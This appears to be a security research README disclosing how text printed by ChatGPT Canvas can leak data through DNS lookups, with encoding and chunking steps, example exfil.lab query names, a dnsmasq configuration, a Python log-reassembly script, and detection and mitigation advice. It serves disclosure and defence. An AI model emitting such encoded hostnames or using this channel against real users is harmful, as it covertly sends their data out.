DNS Exfiltration via ChatGPT Canvas

Research Disclosure: A controlled security research experiment demonstrating DNS-based data exfiltration through browser rendering behavior.

🔬 Overview

This repository documents a controlled research experiment that demonstrates how DNS lookups triggered by rendered content can be used to exfiltrate data. The technique leverages the browser's automatic DNS resolution behavior when rendering hostnames, without requiring HTTP requests or file uploads.

Key Insight: The model only prints strings. The canvas renders those strings. The browser then issues DNS queries for hostnames that appear in the rendered content.

📋 Table of Contents

• Executive Summary
• How It Works
• System Architecture
• Implementation
• Detection & Mitigation
• Lab Setup
• Ethical Considerations
• Contributing

🎯 Executive Summary

This research demonstrates a method to exfiltrate small payloads (such as images) by encoding data into DNS query names. By operating a local resolver that is authoritative for a private test zone, the full query name carries the payload in its subdomain labels and is visible in resolver logs.

Scope: Controlled lab environment with non-sensitive data only.

⚙️ How It Works

The Process

┌─────────────┐      ┌──────────────┐      ┌─────────────┐
│   Encode    │─────▶│   Canvas     │─────▶│   Browser   │
│   Payload   │      │   Renders    │      │   Resolves  │
└─────────────┘      └──────────────┘      └─────────────┘
                                                    │
                                                    ▼
                                            ┌─────────────┐
                                            │Local Resolver│
                                            │    Logs     │
                                            └─────────────┘
                                                    │
                                                    ▼
                                            ┌─────────────┐
                                            │ Reconstruct │
                                            │   Payload   │
                                            └─────────────┘

Step-by-Step

1. Encode: Convert payload to DNS-safe alphabet (base32/base64url)
2. Chunk: Split into DNS-compliant segments (≤63 chars per label, ≤253 total)
3. Index: Add sequence markers for deterministic reassembly
4. Trigger: Canvas renders hostnames with embedded chunks
5. Resolve: Browser automatically performs DNS lookups
6. Capture: Local authoritative resolver logs full query names
7. Reconstruct: Parse logs, sort by index, decode payload

Example Query Names

p001_db.MFRGGZDFMZTQ====.exfil.lab
p002_db.MFWWK3TLNB2GI===.exfil.lab
p003_db.MZXW6YTBOI======.exfil.lab

🏗️ System Architecture

Components

• Client: macOS laptop with ChatGPT canvas in browser
• Resolver: dnsmasq running locally
  • Acts as normal forwarder for internet
  • Authoritative for private test zone
• Zone: Private test zone (e.g., exfil.lab) not delegated publicly

DNS Message Format

<index><separator><payload-chunk>[<separator><checksum>]

Constraints:

• Character set: DNS-legal hostnames only
• Label length: ≤63 characters
• Total FQDN: ≤253 characters
• Each chunk must be unique (prevent cache collapsing)

🛠️ Implementation

DNS Resolver Configuration

Minimal dnsmasq configuration:

# Loopback only
listen-address=127.0.0.1,::1
port=53
bind-interfaces

# Normal recursion for everything else
server=1.1.1.1
server=2606:4700:4700::1111

# Make the test zone local and authoritative
local=/exfil.lab/

# Wildcard reply for any name in the zone
address=/.exfil.lab/127.0.0.1

# Per-query logging
log-queries
log-facility=/opt/homebrew/var/log/dnsmasq.log

Critical Settings:

• local=/exfil.lab/ - Stops forwarding, makes resolver authoritative
• address=/.exfil.lab/127.0.0.1 - Returns valid answer for all names
• log-queries - Captures complete query names

System DNS Configuration

Ensure macOS network settings list 127.0.0.1 as the first DNS server:

# Check current DNS servers
scutil --dns

# Set DNS server (Network Preferences > Advanced > DNS)

🔍 Detection & Mitigation

Detection Signals

DNS Layer:

• Many unique subdomains under one zone in short time window
• Leftmost labels with high Shannon entropy (>40 chars)
• Clear sequence markers (p001, p002, etc.)
• Fixed loopback addresses for all responses

Network Monitoring:

# Alert criteria
- First label length > 40 characters
- High uniqueness ratio under single zone
- Burst of NXDOMAIN responses
- Unusual encoding patterns (base32/base64)

Mitigation Strategies

Product/UI Level

• ✅ Treat untrusted hostnames as inert text
• ✅ Use strict allow-lists for external resources
• ✅ Apply Content Security Policy (CSP)
• ✅ Limit hostname count/length per render
• ✅ Prefer offline rendering for previews

Network Level

• ✅ Centralize DNS egress through controlled resolvers
• ✅ Block direct access to public DoH/DoT endpoints
• ✅ Deploy Response Policy Zones (RPZ)
• ✅ Alert on high-entropy DNS labels
• ✅ Monitor DNS query uniqueness ratios

Example CSP Header

Content-Security-Policy: 
  default-src 'self';
  img-src 'self' https://trusted-cdn.example.com;
  connect-src 'none';

🧪 Lab Setup

Prerequisites

# Install dnsmasq (macOS)
brew install dnsmasq

# Create log directory
mkdir -p /opt/homebrew/var/log

Configuration Steps

1. Configure dnsmasq:

   cp dnsmasq.conf.example /opt/homebrew/etc/dnsmasq.conf

2. Start resolver:

   sudo brew services start dnsmasq

3. Verify setup:

   dig @127.0.0.1 test.exfil.lab

4. Monitor logs:

   tail -f /opt/homebrew/var/log/dnsmasq.log

Log Reconstruction Script

# See scripts/reconstruct.py for full implementation
import re
import base64

def parse_dnsmasq_logs(log_file, zone):
    """Extract and reconstruct payload from DNS logs"""
    chunks = []
    pattern = rf'query\[A\] (p\d+)_db\.([^.]+)\.{zone}'
    
    with open(log_file) as f:
        for line in f:
            match = re.search(pattern, line)
            if match:
                index = int(match.group(1)[1:])
                payload = match.group(2)
                chunks.append((index, payload))
    
    # Sort by index and concatenate
    chunks.sort(key=lambda x: x[0])
    encoded = ''.join(c[1] for c in chunks)
    
    # Decode from base32
    return base64.b32decode(encoded)

🎓 Research Context

Limitations

• Throughput: Modest - suitable for small payloads only
• Detectability: Aggressive parallelism increases detection risk
• False Positives: Some legitimate infrastructure uses long/hex labels
• Scope: Controlled research with non-sensitive data

Why This Matters

This research demonstrates that:

• Security boundaries exist at rendering and network layers
• Canvas hardening and DNS egress controls are critical
• Traditional payload inspection may miss DNS-based channels
• Multiple detection signals are needed for robust monitoring

⚠️ Ethical Considerations

This research is intended for:

• ✅ Security research and education
• ✅ Defensive security improvements
• ✅ Controlled lab environments
• ✅ Authorized penetration testing

NOT for:

• ❌ Unauthorized access or data theft
• ❌ Production systems without permission
• ❌ Malicious purposes

Responsible Disclosure: This research has been shared with relevant parties for security improvements.

📚 References

• DNS Query Name Minimization
• DNS Security Extensions (DNSSEC)
• Content Security Policy Level 3

🤝 Contributing

Contributions are welcome! Please:

1. Fork the repository
2. Create a feature branch
3. Submit a pull request with clear description

Areas for contribution:

• Additional detection signatures
• Reconstruction tooling
• Cross-platform testing
• Documentation improvements

📝 License

MIT License - See LICENSE file for details

👤 Author

Kai Aizen | SnailSploit

• Research Blog: https://Snailsploit.com
• Full Logs: [Link to logs]
• Flow Diagram: dns_exfil_flow.png

🙏 Acknowledgments

Thank you to the security research community for responsible disclosure practices and collaborative defense improvements.

---

Disclaimer: This research is provided for educational and defensive security purposes only. Users are responsible for ensuring compliance with applicable laws and regulations.